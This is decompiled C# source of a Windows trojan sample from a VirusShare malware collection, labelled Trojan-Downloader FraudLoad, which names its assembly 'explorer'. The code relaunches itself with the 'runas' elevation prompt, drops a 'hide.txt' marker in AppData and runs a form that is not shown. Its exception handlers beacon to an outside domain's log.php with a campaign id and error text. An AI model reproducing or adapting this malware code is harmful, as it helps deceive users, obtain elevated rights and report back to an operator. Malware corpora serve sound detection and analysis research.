// Decompiled with JetBrains decompiler
// Type: mute.Program
// Assembly: explorer, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 772D6407-3F7F-4A01-A630-EF8C6D749DE8
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan-Downloader.Win32.FraudLoad.yjmx-bf19859422e8892dcad392d861505005b20bd4fdd2f7d81fdd3c89ab387e68c8.exe

using System;
using System.Diagnostics;
using System.IO;
using System.Net;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Threading;
using System.Web;
using System.Windows.Forms;

namespace mute
{
  internal static class Program
  {
    [DllImport("kernel32")]
    private static extern int SetUnhandledExceptionFilter(Program.CallBack cb);

    public static int newexceptionfilter(ref long a) => 1;

    [DllImport("kernel32.dll", SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);

    public static bool IsAdministrator()
    {
      WindowsIdentity current = WindowsIdentity.GetCurrent();
      return null != current && new WindowsPrincipal(current).IsInRole(WindowsBuiltInRole.Administrator);
    }

    [STAThread]
    private static void Main()
    {
      if (Path.GetDirectoryName(Application.ExecutablePath) != Application.UserAppDataPath && !Program.IsAdministrator())
      {
        Process.Start(new ProcessStartInfo()
        {
          FileName = Application.ExecutablePath,
          Verb = "runas"
        });
      }
      else
      {
        Thread.Sleep(5000);
        bool createdNew;
        Mutex mutex = new Mutex(true, Application.ProductName, out createdNew);
        if (!createdNew)
          return;
        System.IO.File.WriteAllText(Path.Combine(Application.UserAppDataPath, "hide.txt"), "empty");
        Application.EnableVisualStyles();
        Application.SetCompatibleTextRenderingDefault(false);
        try
        {
          Application.Run((Form) new Form1());
        }
        catch (Exception ex1)
        {
          string str = string.Format("Unhandled Exception Raised:{0}", (object) ex1.Message);
          WebClient webClient = new WebClient();
          string address = string.Format("http://isthisactuallyadomain.info/log.php?user={0}&memo={1}&msg={2}", (object) 4, (object) "634247432852901340", (object) HttpUtility.UrlEncode(str));
          try
          {
            webClient.DownloadString(address);
          }
          catch (Exception ex2)
          {
            int num = (int) MessageBox.Show(str);
          }
        }
        finally
        {
          mutex.ReleaseMutex();
        }
      }
    }

    private static void ThreadHandler(object sender, ThreadExceptionEventArgs args)
    {
      string str = string.Format("Unhandled Exception Raised:{0}", (object) args.Exception.Message);
      WebClient webClient = new WebClient();
      string address = string.Format("http://isthisactuallyadomain.info/log.php?user={0}&memo={1}&msg={2}", (object) 4, (object) "634247432852901340", (object) HttpUtility.UrlEncode(str));
      try
      {
        webClient.DownloadString(address);
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(str);
      }
      Application.Exit();
    }

    private static void MyHandler(object sender, UnhandledExceptionEventArgs args)
    {
      string str = string.Format("Unhandled Exception Raised:{0}", (object) ((Exception) args.ExceptionObject).Message);
      WebClient webClient = new WebClient();
      string address = string.Format("http://isthisactuallyadomain.info/log.php?user={0}&memo={1}&msg={2}", (object) 4, (object) "634247432852901340", (object) HttpUtility.UrlEncode(str));
      try
      {
        webClient.DownloadString(address);
      }
      catch (Exception ex)
      {
        int num = (int) MessageBox.Show(str);
      }
      Application.Exit();
    }

    public delegate int CallBack(ref long a);
  }
}
